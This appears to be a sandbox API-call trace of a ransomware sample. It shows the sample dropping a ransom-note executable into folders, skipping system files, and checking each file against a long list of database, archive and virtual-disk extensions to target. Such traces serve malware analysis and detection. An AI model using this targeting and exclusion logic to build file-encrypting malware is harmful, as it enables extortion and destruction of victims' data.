	[0079.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0079.048] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf678) returned 1
	[0079.049] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0079.049] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0079.049] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1370, lpName=0x0) returned 0xc0
	[0079.051] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1370) returned 0x100000
	[0079.052] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf678) returned 1
	[0079.052] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0079.052] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0079.052] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0079.052] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0079.052] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0079.052] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0079.052] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0079.052] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0079.052] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0079.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0079.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0079.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0079.053] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0079.053] CloseHandle (hObject=0xc0) returned 1
	[0079.053] CloseHandle (hObject=0x150) returned 1
	[0079.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0079.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0079.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0079.053] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
	[0079.053] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0079.053] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b78d0
	[0079.053] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C", iMaxLength=260 | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C"
	[0079.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0079.053] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b78c8 | out: hHeap=0x580000) returned 1
	[0079.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C") returned 62
	[0079.054] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C"
	[0079.054] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.054] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0079.058] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.058] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x47314b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x47314b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0079.058] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.058] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.058] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.058] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x47314b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x47314b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.058] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.058] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.058] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.058] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.059] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x47314b10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x47314b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.059] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.059] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1
	[0079.059] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.059] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="Apollon865.txt.exe") returned 1
	[0079.059] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2=".") returned 1
	[0079.059] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="..") returned 1
	[0079.059] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="windows") returned -1
	[0079.059] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="bootmgr") returned 1
	[0079.059] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="temp") returned -1
	[0079.059] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="pagefile.sys") returned 1
	[0079.059] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="boot") returned 1
	[0079.059] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="ids.txt") returned 1
	[0079.059] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="ntuser.dat") returned 1
	[0079.059] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="perflogs") returned 1
	[0079.059] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2="MSBuild") returned 1
	[0079.059] lstrlenW (lpString="PublisherMUI.msi") returned 16
	[0079.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*") returned 64
	[0079.059] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PublisherMUI.msi" | out: lpString1="PublisherMUI.msi") returned="PublisherMUI.msi"
	[0079.059] lstrlenW (lpString="PublisherMUI.msi") returned 16
	[0079.059] lstrlenW (lpString="Apollon865") returned 10
	[0079.059] lstrcmpiW (lpString1="herMUI.msi", lpString2="Apollon865") returned 1
	[0079.059] lstrlenW (lpString=".dll") returned 4
	[0079.059] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2=".dll") returned 1
	[0079.059] lstrlenW (lpString=".lnk") returned 4
	[0079.059] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2=".lnk") returned 1
	[0079.059] lstrlenW (lpString=".ini") returned 4
	[0079.059] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2=".ini") returned 1
	[0079.059] lstrlenW (lpString=".sys") returned 4
	[0079.059] lstrcmpiW (lpString1="PublisherMUI.msi", lpString2=".sys") returned 1
	[0079.059] lstrlenW (lpString="PublisherMUI.msi") returned 16
	[0079.059] lstrlenW (lpString="bak") returned 3
	[0079.059] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0079.059] lstrlenW (lpString="ba_") returned 3
	[0079.059] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0079.059] lstrlenW (lpString="dbb") returned 3
	[0079.060] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0079.060] lstrlenW (lpString="vmdk") returned 4
	[0079.060] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0079.060] lstrlenW (lpString="rar") returned 3
	[0079.060] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0079.060] lstrlenW (lpString="zip") returned 3
	[0079.060] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0079.060] lstrlenW (lpString="tgz") returned 3
	[0079.060] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0079.060] lstrlenW (lpString="vbox") returned 4
	[0079.060] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0079.060] lstrlenW (lpString="vdi") returned 3
	[0079.060] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0079.060] lstrlenW (lpString="vhd") returned 3
	[0079.060] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0079.060] lstrlenW (lpString="vhdx") returned 4
	[0079.060] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0079.060] lstrlenW (lpString="avhd") returned 4
	[0079.060] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0079.060] lstrlenW (lpString="db") returned 2
	[0079.060] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0079.060] lstrlenW (lpString="db2") returned 3
	[0079.060] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0079.060] lstrlenW (lpString="db3") returned 3
	[0079.060] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0079.060] lstrlenW (lpString="dbf") returned 3
	[0079.060] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0079.060] lstrlenW (lpString="mdf") returned 3
	[0079.060] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0079.060] lstrlenW (lpString="mdb") returned 3
	[0079.060] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0079.060] lstrlenW (lpString="sql") returned 3
	[0079.060] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0079.060] lstrlenW (lpString="sqlite") returned 6
	[0079.060] lstrcmpiW (lpString1="UI.msi", lpString2="sqlite") returned 1
	[0079.060] lstrlenW (lpString="sqlite3") returned 7
	[0079.060] lstrcmpiW (lpString1="MUI.msi", lpString2="sqlite3") returned -1
	[0079.060] lstrlenW (lpString="sqlitedb") returned 8
	[0079.061] lstrcmpiW (lpString1="rMUI.msi", lpString2="sqlitedb") returned -1
	[0079.061] lstrlenW (lpString="xml") returned 3
	[0079.061] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0079.061] lstrlenW (lpString="$er") returned 3
	[0079.061] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0079.061] lstrlenW (lpString="4dd") returned 3
	[0079.061] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0079.061] lstrlenW (lpString="4dl") returned 3
	[0079.061] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0079.061] lstrlenW (lpString="^^^") returned 3
	[0079.061] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0079.061] lstrlenW (lpString="abs") returned 3
	[0079.061] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0079.061] lstrlenW (lpString="abx") returned 3
	[0079.061] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0079.061] lstrlenW (lpString="accdb") returned 5
	[0079.061] lstrcmpiW (lpString1="I.msi", lpString2="accdb") returned 1
	[0079.061] lstrlenW (lpString="accdc") returned 5
	[0079.061] lstrcmpiW (lpString1="I.msi", lpString2="accdc") returned 1
	[0079.061] lstrlenW (lpString="accde") returned 5
	[0079.061] lstrcmpiW (lpString1="I.msi", lpString2="accde") returned 1
	[0079.061] lstrlenW (lpString="accdr") returned 5
	[0079.061] lstrcmpiW (lpString1="I.msi", lpString2="accdr") returned 1
	[0079.061] lstrlenW (lpString="accdt") returned 5
	[0079.061] lstrcmpiW (lpString1="I.msi", lpString2="accdt") returned 1
	[0079.061] lstrlenW (lpString="accdw") returned 5
	[0079.061] lstrcmpiW (lpString1="I.msi", lpString2="accdw") returned 1
	[0079.061] lstrlenW (lpString="accft") returned 5
	[0079.061] lstrcmpiW (lpString1="I.msi", lpString2="accft") returned 1
	[0079.061] lstrlenW (lpString="adb") returned 3
	[0079.061] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0079.061] lstrlenW (lpString="adb") returned 3
	[0079.061] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0079.062] lstrlenW (lpString="ade") returned 3
	[0079.062] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0079.062] lstrlenW (lpString="adf") returned 3
	[0079.062] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0079.062] lstrlenW (lpString="adn") returned 3
	[0079.062] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0079.062] lstrlenW (lpString="adp") returned 3
	[0079.062] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0079.062] lstrlenW (lpString="alf") returned 3
	[0079.062] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0079.062] lstrlenW (lpString="ask") returned 3
	[0079.062] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0079.062] lstrlenW (lpString="btr") returned 3
	[0079.062] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0079.062] lstrlenW (lpString="cat") returned 3
	[0079.062] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0079.062] lstrlenW (lpString="cdb") returned 3
	[0079.062] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0079.062] lstrlenW (lpString="ckp") returned 3
	[0079.062] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0079.062] lstrlenW (lpString="cma") returned 3
	[0079.062] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0079.062] lstrlenW (lpString="cpd") returned 3
	[0079.062] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0079.062] lstrlenW (lpString="dacpac") returned 6
	[0079.062] lstrcmpiW (lpString1="UI.msi", lpString2="dacpac") returned 1
	[0079.062] lstrlenW (lpString="dad") returned 3
	[0079.062] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0079.062] lstrlenW (lpString="dadiagrams") returned 10
	[0079.062] lstrcmpiW (lpString1="herMUI.msi", lpString2="dadiagrams") returned 1
	[0079.062] lstrlenW (lpString="daschema") returned 8
	[0079.062] lstrcmpiW (lpString1="rMUI.msi", lpString2="daschema") returned 1
	[0079.062] lstrlenW (lpString="db-journal") returned 10
	[0079.062] lstrcmpiW (lpString1="herMUI.msi", lpString2="db-journal") returned 1
	[0079.062] lstrlenW (lpString="db-shm") returned 6
	[0079.062] lstrcmpiW (lpString1="UI.msi", lpString2="db-shm") returned 1
	[0079.062] lstrlenW (lpString="db-wal") returned 6
	[0079.063] lstrcmpiW (lpString1="UI.msi", lpString2="db-wal") returned 1
	[0079.063] lstrlenW (lpString="dbc") returned 3
	[0079.063] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0079.063] lstrlenW (lpString="dbs") returned 3
	[0079.063] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0079.063] lstrlenW (lpString="dbt") returned 3
	[0079.063] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0079.063] lstrlenW (lpString="dbv") returned 3
	[0079.063] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0079.063] lstrlenW (lpString="dbx") returned 3
	[0079.063] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0079.063] lstrlenW (lpString="dcb") returned 3
	[0079.063] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0079.063] lstrlenW (lpString="dct") returned 3
	[0079.063] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0079.063] lstrlenW (lpString="dcx") returned 3
	[0079.063] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0079.063] lstrlenW (lpString="ddl") returned 3
	[0079.063] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
	[0079.063] lstrlenW (lpString="dlis") returned 4
	[0079.063] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1
	[0079.063] lstrlenW (lpString="dp1") returned 3
	[0079.063] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1
	[0079.063] lstrlenW (lpString="dqy") returned 3
	[0079.063] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1
	[0079.063] lstrlenW (lpString="dsk") returned 3
	[0079.063] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1
	[0079.063] lstrlenW (lpString="dsn") returned 3
	[0079.063] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1
	[0079.063] lstrlenW (lpString="dtsx") returned 4
	[0079.063] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1
	[0079.063] lstrlenW (lpString="dxl") returned 3
	[0079.063] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1
	[0079.063] lstrlenW (lpString="eco") returned 3
	[0079.063] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1
	[0079.063] lstrlenW (lpString="ecx") returned 3
	[0079.063] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1
	[0079.064] lstrlenW (lpString="edb") returned 3
	[0079.064] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1
	[0079.064] lstrlenW (lpString="epim") returned 4
	[0079.064] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1
	[0079.064] lstrlenW (lpString="fcd") returned 3
	[0079.064] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1
	[0079.064] lstrlenW (lpString="fdb") returned 3
	[0079.064] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1
	[0079.064] lstrlenW (lpString="fic") returned 3
	[0079.064] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1
	[0079.064] lstrlenW (lpString="flexolibrary") returned 12
	[0079.064] lstrcmpiW (lpString1="isherMUI.msi", lpString2="flexolibrary") returned 1
	[0079.064] lstrlenW (lpString="fm5") returned 3
	[0079.064] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1
	[0079.064] lstrlenW (lpString="fmp") returned 3
	[0079.064] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1
	[0079.064] lstrlenW (lpString="fmp12") returned 5
	[0079.064] lstrcmpiW (lpString1="I.msi", lpString2="fmp12") returned 1
	[0079.064] lstrlenW (lpString="fmpsl") returned 5
	[0079.064] lstrcmpiW (lpString1="I.msi", lpString2="fmpsl") returned 1
	[0079.064] lstrlenW (lpString="fol") returned 3
	[0079.064] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1
	[0079.064] lstrlenW (lpString="fp3") returned 3
	[0079.064] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1
	[0079.064] lstrlenW (lpString="fp4") returned 3
	[0079.064] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1
	[0079.064] lstrlenW (lpString="fp5") returned 3
	[0079.064] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1
	[0079.064] lstrlenW (lpString="fp7") returned 3
	[0079.064] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1
	[0079.064] lstrlenW (lpString="fpt") returned 3
	[0079.064] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1
	[0079.064] lstrlenW (lpString="frm") returned 3
	[0079.064] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1
	[0079.064] lstrlenW (lpString="gdb") returned 3
	[0079.064] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0079.064] lstrlenW (lpString="gdb") returned 3
	[0079.064] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0079.065] lstrlenW (lpString="grdb") returned 4
	[0079.065] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1
	[0079.065] lstrlenW (lpString="gwi") returned 3
	[0079.065] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1
	[0079.065] lstrlenW (lpString="hdb") returned 3
	[0079.065] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1
	[0079.065] lstrlenW (lpString="his") returned 3
	[0079.065] lstrcmpiW (lpString1="msi", lpString2="his") returned 1
	[0079.065] lstrlenW (lpString="ib") returned 2
	[0079.065] lstrcmpiW (lpString1="si", lpString2="ib") returned 1
	[0079.065] lstrlenW (lpString="idb") returned 3
	[0079.065] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1
	[0079.065] lstrlenW (lpString="ihx") returned 3
	[0079.065] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1
	[0079.065] lstrlenW (lpString="itdb") returned 4
	[0079.065] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1
	[0079.065] lstrlenW (lpString="itw") returned 3
	[0079.065] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1
	[0079.065] lstrlenW (lpString="jet") returned 3
	[0079.065] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1
	[0079.065] lstrlenW (lpString="jtx") returned 3
	[0079.065] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1
	[0079.065] lstrlenW (lpString="kdb") returned 3
	[0079.065] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1
	[0079.065] lstrlenW (lpString="kexi") returned 4
	[0079.065] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1
	[0079.065] lstrlenW (lpString="kexic") returned 5
	[0079.065] lstrcmpiW (lpString1="I.msi", lpString2="kexic") returned -1
	[0079.065] lstrlenW (lpString="kexis") returned 5
	[0079.065] lstrcmpiW (lpString1="I.msi", lpString2="kexis") returned -1
	[0079.065] lstrlenW (lpString="lgc") returned 3
	[0079.065] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1
	[0079.065] lstrlenW (lpString="lwx") returned 3
	[0079.065] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1
	[0079.065] lstrlenW (lpString="maf") returned 3
	[0079.065] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1
	[0079.065] lstrlenW (lpString="maq") returned 3
	[0079.065] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1
	[0079.066] lstrlenW (lpString="mar") returned 3
	[0079.066] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1
	[0079.066] lstrlenW (lpString="marshal") returned 7
	[0079.066] lstrcmpiW (lpString1="MUI.msi", lpString2="marshal") returned 1
	[0079.066] lstrlenW (lpString="mas") returned 3
	[0079.066] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1
	[0079.066] lstrlenW (lpString="mav") returned 3
	[0079.066] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1
	[0079.066] lstrlenW (lpString="maw") returned 3
	[0079.066] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1
	[0079.066] lstrlenW (lpString="mdbhtml") returned 7
	[0079.066] lstrcmpiW (lpString1="MUI.msi", lpString2="mdbhtml") returned 1
	[0079.066] lstrlenW (lpString="mdn") returned 3
	[0079.066] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1
	[0079.066] lstrlenW (lpString="mdt") returned 3
	[0079.066] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1
	[0079.066] lstrlenW (lpString="mfd") returned 3
	[0079.066] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1
	[0079.066] lstrlenW (lpString="mpd") returned 3
	[0079.066] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1
	[0079.066] lstrlenW (lpString="mrg") returned 3
	[0079.066] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1
	[0079.066] lstrlenW (lpString="mud") returned 3
	[0079.066] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1
	[0079.066] lstrlenW (lpString="mwb") returned 3
	[0079.066] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1
	[0079.066] lstrlenW (lpString="myd") returned 3
	[0079.066] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1
	[0079.066] lstrlenW (lpString="ndf") returned 3
	[0079.066] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1
	[0079.066] lstrlenW (lpString="nnt") returned 3
	[0079.066] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1
	[0079.066] lstrlenW (lpString="nrmlib") returned 6
	[0079.066] lstrcmpiW (lpString1="UI.msi", lpString2="nrmlib") returned 1
	[0079.066] lstrlenW (lpString="ns2") returned 3
	[0079.066] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1
	[0079.066] lstrlenW (lpString="ns3") returned 3
	[0079.067] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1
	[0079.067] lstrlenW (lpString="ns4") returned 3
	[0079.067] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1
	[0079.067] lstrlenW (lpString="nsf") returned 3
	[0079.067] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1
	[0079.067] lstrlenW (lpString="nv") returned 2
	[0079.067] lstrcmpiW (lpString1="si", lpString2="nv") returned 1
	[0079.067] lstrlenW (lpString="nv2") returned 3
	[0079.067] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1
	[0079.067] lstrlenW (lpString="nwdb") returned 4
	[0079.067] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1
	[0079.067] lstrlenW (lpString="nyf") returned 3
	[0079.067] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1
	[0079.067] lstrlenW (lpString="odb") returned 3
	[0079.067] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
